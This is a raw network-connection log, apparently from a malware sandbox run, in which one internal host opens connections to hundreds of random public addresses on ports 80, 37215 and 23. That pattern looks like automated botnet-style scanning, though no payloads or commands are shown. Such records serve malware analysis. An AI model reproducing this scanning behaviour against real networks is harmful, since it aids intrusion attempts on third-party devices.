Oct 17, 2024 02:19:46.185399055 CEST	20646	80	192.168.2.14	223.26.4.185
Oct 17, 2024 02:19:46.185395956 CEST	20646	80	192.168.2.14	164.103.69.253
Oct 17, 2024 02:19:46.185401917 CEST	20646	80	192.168.2.14	129.195.136.162
Oct 17, 2024 02:19:46.185399055 CEST	20646	80	192.168.2.14	152.152.41.59
Oct 17, 2024 02:19:46.185399055 CEST	20646	80	192.168.2.14	119.181.16.227
Oct 17, 2024 02:19:46.185395956 CEST	20646	80	192.168.2.14	145.143.76.234
Oct 17, 2024 02:19:46.185401917 CEST	20646	80	192.168.2.14	184.191.157.181
Oct 17, 2024 02:19:46.185401917 CEST	20646	80	192.168.2.14	174.253.250.54
Oct 17, 2024 02:19:46.185412884 CEST	20646	80	192.168.2.14	173.175.99.182
Oct 17, 2024 02:19:46.185415983 CEST	20646	80	192.168.2.14	121.80.88.202
Oct 17, 2024 02:19:46.185415983 CEST	20646	80	192.168.2.14	4.141.214.183
Oct 17, 2024 02:19:46.185416937 CEST	20646	80	192.168.2.14	209.169.105.98
Oct 17, 2024 02:19:46.185415983 CEST	20646	80	192.168.2.14	25.185.153.90
Oct 17, 2024 02:19:46.185415983 CEST	20646	80	192.168.2.14	62.120.217.160
Oct 17, 2024 02:19:46.185422897 CEST	20646	80	192.168.2.14	145.187.5.32
Oct 17, 2024 02:19:46.185422897 CEST	20646	80	192.168.2.14	140.85.116.65
Oct 17, 2024 02:19:46.185422897 CEST	20646	80	192.168.2.14	219.216.132.102
Oct 17, 2024 02:19:46.185422897 CEST	20646	80	192.168.2.14	57.194.133.60
Oct 17, 2024 02:19:46.185427904 CEST	20646	80	192.168.2.14	72.235.89.66
Oct 17, 2024 02:19:46.185429096 CEST	20646	80	192.168.2.14	114.217.210.80
Oct 17, 2024 02:19:46.185427904 CEST	20646	80	192.168.2.14	208.62.23.210
Oct 17, 2024 02:19:46.185429096 CEST	20646	80	192.168.2.14	194.53.173.111
Oct 17, 2024 02:19:46.185427904 CEST	20646	80	192.168.2.14	201.234.158.156
Oct 17, 2024 02:19:46.185446978 CEST	20646	80	192.168.2.14	161.133.172.68
Oct 17, 2024 02:19:46.185446978 CEST	20646	80	192.168.2.14	131.17.50.133
Oct 17, 2024 02:19:46.185447931 CEST	20646	80	192.168.2.14	54.246.221.126
Oct 17, 2024 02:19:46.185447931 CEST	20646	80	192.168.2.14	209.94.125.174
Oct 17, 2024 02:19:46.185450077 CEST	20646	80	192.168.2.14	88.191.237.160
Oct 17, 2024 02:19:46.185450077 CEST	20646	80	192.168.2.14	67.222.108.121
Oct 17, 2024 02:19:46.185450077 CEST	20646	80	192.168.2.14	121.22.62.247
Oct 17, 2024 02:19:46.185451031 CEST	20646	80	192.168.2.14	109.2.8.71
Oct 17, 2024 02:19:46.185451031 CEST	20646	80	192.168.2.14	197.136.87.176
Oct 17, 2024 02:19:46.185451031 CEST	20646	80	192.168.2.14	124.227.93.176
Oct 17, 2024 02:19:46.185453892 CEST	20646	80	192.168.2.14	45.42.245.123
Oct 17, 2024 02:19:46.185453892 CEST	20646	80	192.168.2.14	143.227.28.252
Oct 17, 2024 02:19:46.185455084 CEST	20646	80	192.168.2.14	5.21.75.79
Oct 17, 2024 02:19:46.185457945 CEST	20646	80	192.168.2.14	181.252.107.41
Oct 17, 2024 02:19:46.185460091 CEST	20646	80	192.168.2.14	53.126.0.63
Oct 17, 2024 02:19:46.185477972 CEST	20646	80	192.168.2.14	41.198.239.102
Oct 17, 2024 02:19:46.185477972 CEST	20646	80	192.168.2.14	187.247.74.162
Oct 17, 2024 02:19:46.185477972 CEST	20646	80	192.168.2.14	142.8.245.5
Oct 17, 2024 02:19:46.185480118 CEST	20646	80	192.168.2.14	177.70.140.141
Oct 17, 2024 02:19:46.185480118 CEST	20646	80	192.168.2.14	52.58.8.219
Oct 17, 2024 02:19:46.185480118 CEST	20646	80	192.168.2.14	202.230.38.128
Oct 17, 2024 02:19:46.185481071 CEST	20646	80	192.168.2.14	117.144.117.229
Oct 17, 2024 02:19:46.185481071 CEST	20646	80	192.168.2.14	32.170.111.30
Oct 17, 2024 02:19:46.185482025 CEST	20646	80	192.168.2.14	2.231.236.85
Oct 17, 2024 02:19:46.185482979 CEST	20646	80	192.168.2.14	82.220.174.241
Oct 17, 2024 02:19:46.185481071 CEST	20646	80	192.168.2.14	118.207.187.147
Oct 17, 2024 02:19:46.185482025 CEST	20646	80	192.168.2.14	49.202.40.204
Oct 17, 2024 02:19:46.185481071 CEST	20646	80	192.168.2.14	106.77.67.55
Oct 17, 2024 02:19:46.185482979 CEST	20646	80	192.168.2.14	194.226.235.207
Oct 17, 2024 02:19:46.185487032 CEST	20646	80	192.168.2.14	171.226.220.215
Oct 17, 2024 02:19:46.185482979 CEST	20646	80	192.168.2.14	97.7.71.107
Oct 17, 2024 02:19:46.185482979 CEST	20646	80	192.168.2.14	173.190.171.176
Oct 17, 2024 02:19:46.185487032 CEST	20646	80	192.168.2.14	36.202.149.11
Oct 17, 2024 02:19:46.185489893 CEST	20646	80	192.168.2.14	9.252.111.88
Oct 17, 2024 02:19:46.185489893 CEST	20646	80	192.168.2.14	152.110.70.74
Oct 17, 2024 02:19:46.185489893 CEST	20646	80	192.168.2.14	220.36.58.238
Oct 17, 2024 02:19:46.185498953 CEST	20646	80	192.168.2.14	136.153.12.95
Oct 17, 2024 02:19:46.185502052 CEST	20646	80	192.168.2.14	43.123.61.127
Oct 17, 2024 02:19:46.185503960 CEST	20646	80	192.168.2.14	119.156.148.90
Oct 17, 2024 02:19:46.185503960 CEST	20646	80	192.168.2.14	104.76.185.1
Oct 17, 2024 02:19:46.185504913 CEST	20646	80	192.168.2.14	25.71.247.44
Oct 17, 2024 02:19:46.185508013 CEST	20646	80	192.168.2.14	218.33.22.123
Oct 17, 2024 02:19:46.185518026 CEST	20646	80	192.168.2.14	139.140.209.50
Oct 17, 2024 02:19:46.185518026 CEST	20646	80	192.168.2.14	98.226.231.199
Oct 17, 2024 02:19:46.185519934 CEST	20646	80	192.168.2.14	143.66.114.58
Oct 17, 2024 02:19:46.185519934 CEST	20646	80	192.168.2.14	5.16.68.111
Oct 17, 2024 02:19:46.185519934 CEST	20646	80	192.168.2.14	213.32.194.64
Oct 17, 2024 02:19:46.185519934 CEST	20646	80	192.168.2.14	122.147.87.237
Oct 17, 2024 02:19:46.185519934 CEST	20646	80	192.168.2.14	25.63.101.22
Oct 17, 2024 02:19:46.185534000 CEST	20646	80	192.168.2.14	14.247.255.138
Oct 17, 2024 02:19:46.185534000 CEST	20646	80	192.168.2.14	89.17.57.30
Oct 17, 2024 02:19:46.185535908 CEST	20646	80	192.168.2.14	71.107.88.211
Oct 17, 2024 02:19:46.185537100 CEST	20646	80	192.168.2.14	207.9.225.14
Oct 17, 2024 02:19:46.185534954 CEST	20646	80	192.168.2.14	198.196.199.143
Oct 17, 2024 02:19:46.185540915 CEST	20646	80	192.168.2.14	32.87.142.188
Oct 17, 2024 02:19:46.185534954 CEST	20646	80	192.168.2.14	99.163.201.187
Oct 17, 2024 02:19:46.185537100 CEST	20646	80	192.168.2.14	139.198.98.70
Oct 17, 2024 02:19:46.185545921 CEST	20646	80	192.168.2.14	31.208.99.83
Oct 17, 2024 02:19:46.185534954 CEST	20646	80	192.168.2.14	151.238.89.34
Oct 17, 2024 02:19:46.185537100 CEST	20646	80	192.168.2.14	158.36.216.218
Oct 17, 2024 02:19:46.185540915 CEST	20646	80	192.168.2.14	146.46.45.38
Oct 17, 2024 02:19:46.185540915 CEST	20646	80	192.168.2.14	171.187.168.211
Oct 17, 2024 02:19:46.185555935 CEST	20646	80	192.168.2.14	153.213.210.247
Oct 17, 2024 02:19:46.185556889 CEST	20646	80	192.168.2.14	65.234.47.158
Oct 17, 2024 02:19:46.185556889 CEST	20646	80	192.168.2.14	90.106.136.236
Oct 17, 2024 02:19:46.185558081 CEST	20646	80	192.168.2.14	115.133.231.102
Oct 17, 2024 02:19:46.185564995 CEST	20646	80	192.168.2.14	162.110.41.243
Oct 17, 2024 02:19:46.185564995 CEST	20646	80	192.168.2.14	23.59.125.151
Oct 17, 2024 02:19:46.185568094 CEST	20646	80	192.168.2.14	82.169.147.121
Oct 17, 2024 02:19:46.185568094 CEST	20646	80	192.168.2.14	110.177.60.61
Oct 17, 2024 02:19:46.185576916 CEST	20646	80	192.168.2.14	78.195.225.111
Oct 17, 2024 02:19:46.185576916 CEST	20646	80	192.168.2.14	157.231.252.13
Oct 17, 2024 02:19:46.185578108 CEST	20646	80	192.168.2.14	206.85.195.229
Oct 17, 2024 02:19:46.185580015 CEST	20646	80	192.168.2.14	117.66.218.52
Oct 17, 2024 02:19:46.185580015 CEST	20646	80	192.168.2.14	45.22.78.117
Oct 17, 2024 02:19:46.185580969 CEST	20646	80	192.168.2.14	73.103.165.36
Oct 17, 2024 02:19:46.185589075 CEST	20646	80	192.168.2.14	173.120.101.73
Oct 17, 2024 02:19:46.185595036 CEST	20646	80	192.168.2.14	105.202.55.205
Oct 17, 2024 02:19:46.185595036 CEST	20646	80	192.168.2.14	198.23.121.82
Oct 17, 2024 02:19:46.185596943 CEST	20646	80	192.168.2.14	100.250.48.135
Oct 17, 2024 02:19:46.185596943 CEST	20646	80	192.168.2.14	133.93.183.173
Oct 17, 2024 02:19:46.185596943 CEST	20646	80	192.168.2.14	170.61.105.251
Oct 17, 2024 02:19:46.185599089 CEST	20646	80	192.168.2.14	123.49.183.55
Oct 17, 2024 02:19:46.185600996 CEST	20646	80	192.168.2.14	49.196.191.65
Oct 17, 2024 02:19:46.185614109 CEST	20646	80	192.168.2.14	101.76.172.63
Oct 17, 2024 02:19:46.185614109 CEST	20646	80	192.168.2.14	62.84.200.127
Oct 17, 2024 02:19:46.185615063 CEST	20646	80	192.168.2.14	196.37.213.55
Oct 17, 2024 02:19:46.185622931 CEST	20646	80	192.168.2.14	133.192.235.142
Oct 17, 2024 02:19:46.185623884 CEST	20646	80	192.168.2.14	115.157.233.127
Oct 17, 2024 02:19:46.189551115 CEST	80	20646	5.64.195.2	192.168.2.14
Oct 17, 2024 02:19:46.189563036 CEST	80	20646	5.15.108.196	192.168.2.14
Oct 17, 2024 02:19:46.189604998 CEST	20646	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.189637899 CEST	20646	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.190231085 CEST	80	48300	113.128.194.225	192.168.2.14
Oct 17, 2024 02:19:46.190278053 CEST	48300	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:46.203100920 CEST	37215	36384	156.20.186.166	192.168.2.14
Oct 17, 2024 02:19:46.211689949 CEST	60390	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:46.211690903 CEST	50022	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.211690903 CEST	36192	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:46.211694956 CEST	34124	37215	192.168.2.14	197.196.241.77
Oct 17, 2024 02:19:46.211700916 CEST	36278	37215	192.168.2.14	41.111.11.36
Oct 17, 2024 02:19:46.211708069 CEST	52208	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:46.211723089 CEST	36710	37215	192.168.2.14	41.244.101.219
Oct 17, 2024 02:19:46.211735010 CEST	56960	37215	192.168.2.14	197.223.27.223
Oct 17, 2024 02:19:46.216487885 CEST	37215	60390	41.27.133.111	192.168.2.14
Oct 17, 2024 02:19:46.216547012 CEST	37215	50022	197.22.184.90	192.168.2.14
Oct 17, 2024 02:19:46.216556072 CEST	37215	36192	156.180.112.46	192.168.2.14
Oct 17, 2024 02:19:46.216578007 CEST	60390	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:46.216597080 CEST	50022	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.216597080 CEST	36192	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:46.216798067 CEST	60390	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:46.216798067 CEST	60390	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:46.217294931 CEST	60542	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:46.218060970 CEST	36192	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:46.218060970 CEST	36192	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:46.218727112 CEST	36348	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:46.219445944 CEST	50022	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.219445944 CEST	50022	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.220175028 CEST	50172	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.221725941 CEST	37215	60390	41.27.133.111	192.168.2.14
Oct 17, 2024 02:19:46.222902060 CEST	37215	36192	156.180.112.46	192.168.2.14
Oct 17, 2024 02:19:46.224849939 CEST	37215	50022	197.22.184.90	192.168.2.14
Oct 17, 2024 02:19:46.224946976 CEST	37215	50172	197.22.184.90	192.168.2.14
Oct 17, 2024 02:19:46.224996090 CEST	50172	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.225027084 CEST	50172	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.230688095 CEST	37215	50172	197.22.184.90	192.168.2.14
Oct 17, 2024 02:19:46.230731964 CEST	50172	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:46.243664026 CEST	53590	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:46.243664026 CEST	48596	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.243678093 CEST	38548	37215	192.168.2.14	156.247.50.249
Oct 17, 2024 02:19:46.243678093 CEST	47770	37215	192.168.2.14	156.86.247.169
Oct 17, 2024 02:19:46.243690968 CEST	50110	37215	192.168.2.14	41.202.126.139
Oct 17, 2024 02:19:46.243693113 CEST	49020	37215	192.168.2.14	197.207.80.3
Oct 17, 2024 02:19:46.243693113 CEST	46932	37215	192.168.2.14	156.38.156.73
Oct 17, 2024 02:19:46.243695021 CEST	47486	37215	192.168.2.14	156.181.211.122
Oct 17, 2024 02:19:46.243695974 CEST	60178	37215	192.168.2.14	41.151.141.155
Oct 17, 2024 02:19:46.243707895 CEST	59100	37215	192.168.2.14	156.131.117.182
Oct 17, 2024 02:19:46.243709087 CEST	42322	37215	192.168.2.14	197.163.195.109
Oct 17, 2024 02:19:46.243709087 CEST	42656	37215	192.168.2.14	197.108.22.112
Oct 17, 2024 02:19:46.243716955 CEST	52836	37215	192.168.2.14	41.106.34.9
Oct 17, 2024 02:19:46.243804932 CEST	52572	37215	192.168.2.14	156.122.104.64
Oct 17, 2024 02:19:46.248480082 CEST	37215	53590	41.209.69.201	192.168.2.14
Oct 17, 2024 02:19:46.248492956 CEST	37215	48596	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:46.248532057 CEST	53590	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:46.248532057 CEST	48596	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.248689890 CEST	48596	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.248689890 CEST	48596	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.249310017 CEST	48718	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.250210047 CEST	53590	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:46.250210047 CEST	53590	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:46.250792980 CEST	53710	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:46.253696918 CEST	37215	48596	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:46.254127979 CEST	37215	48718	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:46.254168034 CEST	48718	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.254192114 CEST	48718	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.255150080 CEST	37215	53590	41.209.69.201	192.168.2.14
Oct 17, 2024 02:19:46.259057999 CEST	37215	48718	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:46.259349108 CEST	37215	48718	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:46.259413004 CEST	48718	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:46.263112068 CEST	37215	36192	156.180.112.46	192.168.2.14
Oct 17, 2024 02:19:46.263120890 CEST	37215	60390	41.27.133.111	192.168.2.14
Oct 17, 2024 02:19:46.267199039 CEST	37215	50022	197.22.184.90	192.168.2.14
Oct 17, 2024 02:19:46.275666952 CEST	51622	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:46.275667906 CEST	39146	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:46.275669098 CEST	54754	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:46.275672913 CEST	33146	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:46.275672913 CEST	44516	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:46.275691032 CEST	52074	37215	192.168.2.14	41.115.118.32
Oct 17, 2024 02:19:46.275697947 CEST	48708	37215	192.168.2.14	41.2.165.91
Oct 17, 2024 02:19:46.275697947 CEST	59434	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:46.275741100 CEST	58432	37215	192.168.2.14	197.116.92.11
Oct 17, 2024 02:19:46.275741100 CEST	39184	37215	192.168.2.14	156.241.180.10
Oct 17, 2024 02:19:46.280569077 CEST	37215	54754	156.150.26.154	192.168.2.14
Oct 17, 2024 02:19:46.280581951 CEST	37215	39146	41.255.43.44	192.168.2.14
Oct 17, 2024 02:19:46.280625105 CEST	39146	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:46.280625105 CEST	54754	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:46.280668020 CEST	39146	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:46.280780077 CEST	54754	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:46.285937071 CEST	37215	39146	41.255.43.44	192.168.2.14
Oct 17, 2024 02:19:46.285981894 CEST	39146	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:46.286022902 CEST	37215	54754	156.150.26.154	192.168.2.14
Oct 17, 2024 02:19:46.286075115 CEST	54754	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:46.295073986 CEST	37215	48596	197.255.60.156	192.168.2.14
Oct 17, 2024 02:19:46.303102016 CEST	37215	53590	41.209.69.201	192.168.2.14
Oct 17, 2024 02:19:46.332710981 CEST	23	48496	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:46.332885981 CEST	48496	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:46.333425045 CEST	49448	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:46.337812901 CEST	23	48496	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:46.338438034 CEST	23	49448	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:46.338529110 CEST	49448	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:46.371671915 CEST	33676	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:46.371673107 CEST	34714	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:46.371680021 CEST	47514	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:46.376580954 CEST	37215	33676	197.227.16.10	192.168.2.14
Oct 17, 2024 02:19:46.376591921 CEST	80	34714	117.8.254.220	192.168.2.14
Oct 17, 2024 02:19:46.376601934 CEST	37215	47514	197.249.221.114	192.168.2.14
Oct 17, 2024 02:19:46.376655102 CEST	47514	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:46.376671076 CEST	33676	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:46.376673937 CEST	34714	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:46.376756907 CEST	47514	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:46.376808882 CEST	33676	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:46.376997948 CEST	34714	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:46.377643108 CEST	35872	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.378948927 CEST	47174	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.381834984 CEST	37215	47514	197.249.221.114	192.168.2.14
Oct 17, 2024 02:19:46.381896973 CEST	47514	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:46.382087946 CEST	37215	33676	197.227.16.10	192.168.2.14
Oct 17, 2024 02:19:46.382170916 CEST	33676	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:46.382189989 CEST	80	34714	117.8.254.220	192.168.2.14
Oct 17, 2024 02:19:46.382272959 CEST	34714	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:46.382389069 CEST	80	35872	5.64.195.2	192.168.2.14
Oct 17, 2024 02:19:46.382436991 CEST	35872	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.382493973 CEST	35872	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.382493973 CEST	35872	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.382999897 CEST	35876	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.383776903 CEST	80	47174	5.15.108.196	192.168.2.14
Oct 17, 2024 02:19:46.383815050 CEST	47174	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.383900881 CEST	47174	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.383900881 CEST	47174	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.384460926 CEST	47178	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.387367964 CEST	80	35872	5.64.195.2	192.168.2.14
Oct 17, 2024 02:19:46.387747049 CEST	80	35876	5.64.195.2	192.168.2.14
Oct 17, 2024 02:19:46.387789965 CEST	35876	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.387809038 CEST	35876	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.388698101 CEST	80	47174	5.15.108.196	192.168.2.14
Oct 17, 2024 02:19:46.389188051 CEST	80	47178	5.15.108.196	192.168.2.14
Oct 17, 2024 02:19:46.389246941 CEST	47178	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.389246941 CEST	47178	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.392796040 CEST	80	35876	5.64.195.2	192.168.2.14
Oct 17, 2024 02:19:46.392829895 CEST	35876	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.394185066 CEST	80	47178	5.15.108.196	192.168.2.14
Oct 17, 2024 02:19:46.394226074 CEST	47178	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.431166887 CEST	80	47174	5.15.108.196	192.168.2.14
Oct 17, 2024 02:19:46.431180954 CEST	80	35872	5.64.195.2	192.168.2.14
Oct 17, 2024 02:19:46.435697079 CEST	42232	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:46.435709000 CEST	55958	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:46.440576077 CEST	37215	42232	156.235.175.203	192.168.2.14
Oct 17, 2024 02:19:46.440692902 CEST	80	55958	57.193.125.46	192.168.2.14
Oct 17, 2024 02:19:46.440707922 CEST	42232	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:46.440747976 CEST	42232	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:46.440946102 CEST	55958	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:46.440946102 CEST	55958	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:46.446450949 CEST	37215	42232	156.235.175.203	192.168.2.14
Oct 17, 2024 02:19:46.446504116 CEST	42232	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:46.446662903 CEST	80	55958	57.193.125.46	192.168.2.14
Oct 17, 2024 02:19:46.446712017 CEST	55958	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:46.467703104 CEST	35938	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:46.467711926 CEST	59762	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:46.467711926 CEST	37834	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:46.467722893 CEST	34230	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:46.467761993 CEST	35708	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:46.472546101 CEST	37215	59762	197.182.193.48	192.168.2.14
Oct 17, 2024 02:19:46.472557068 CEST	37215	35938	197.130.159.152	192.168.2.14
Oct 17, 2024 02:19:46.472565889 CEST	37215	34230	197.151.100.246	192.168.2.14
Oct 17, 2024 02:19:46.472580910 CEST	37215	37834	156.42.148.140	192.168.2.14
Oct 17, 2024 02:19:46.472593069 CEST	37215	35708	156.158.100.93	192.168.2.14
Oct 17, 2024 02:19:46.472632885 CEST	35938	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:46.472632885 CEST	34230	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:46.472635984 CEST	37834	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:46.472661972 CEST	35708	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:46.472665071 CEST	59762	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:46.472762108 CEST	35938	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:46.472763062 CEST	37834	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:46.472765923 CEST	34230	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:46.472789049 CEST	35708	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:46.472796917 CEST	59762	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:46.477931976 CEST	37215	34230	197.151.100.246	192.168.2.14
Oct 17, 2024 02:19:46.477978945 CEST	34230	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:46.478290081 CEST	37215	35938	197.130.159.152	192.168.2.14
Oct 17, 2024 02:19:46.478329897 CEST	35938	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:46.478458881 CEST	37215	37834	156.42.148.140	192.168.2.14
Oct 17, 2024 02:19:46.478499889 CEST	37834	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:46.478635073 CEST	37215	35708	156.158.100.93	192.168.2.14
Oct 17, 2024 02:19:46.478682041 CEST	35708	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:46.478688002 CEST	37215	59762	197.182.193.48	192.168.2.14
Oct 17, 2024 02:19:46.478727102 CEST	59762	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:46.499689102 CEST	39574	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:46.499695063 CEST	58154	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:46.499695063 CEST	58960	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:46.504462004 CEST	37215	39574	41.23.92.152	192.168.2.14
Oct 17, 2024 02:19:46.504528046 CEST	37215	58154	197.167.213.135	192.168.2.14
Oct 17, 2024 02:19:46.504537106 CEST	39574	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:46.504539967 CEST	37215	58960	41.249.70.37	192.168.2.14
Oct 17, 2024 02:19:46.504585028 CEST	58960	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:46.504585028 CEST	58154	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:46.504803896 CEST	58154	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:46.504803896 CEST	58960	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:46.504803896 CEST	39574	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:46.509877920 CEST	37215	39574	41.23.92.152	192.168.2.14
Oct 17, 2024 02:19:46.509939909 CEST	39574	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:46.510175943 CEST	37215	58960	41.249.70.37	192.168.2.14
Oct 17, 2024 02:19:46.510262012 CEST	37215	58154	197.167.213.135	192.168.2.14
Oct 17, 2024 02:19:46.510288000 CEST	58960	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:46.510314941 CEST	58154	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:46.535650015 CEST	48318	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:46.535653114 CEST	55194	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:46.535653114 CEST	48092	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:46.535667896 CEST	52450	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:46.535710096 CEST	35172	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:46.535713911 CEST	57072	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:46.540623903 CEST	37215	55194	156.35.219.54	192.168.2.14
Oct 17, 2024 02:19:46.540640116 CEST	37215	48092	41.233.212.51	192.168.2.14
Oct 17, 2024 02:19:46.540649891 CEST	37215	48318	156.187.4.61	192.168.2.14
Oct 17, 2024 02:19:46.540661097 CEST	37215	52450	156.107.220.177	192.168.2.14
Oct 17, 2024 02:19:46.540673018 CEST	37215	57072	41.252.236.8	192.168.2.14
Oct 17, 2024 02:19:46.540677071 CEST	55194	37215	192.168.2.14	156.35.219.54
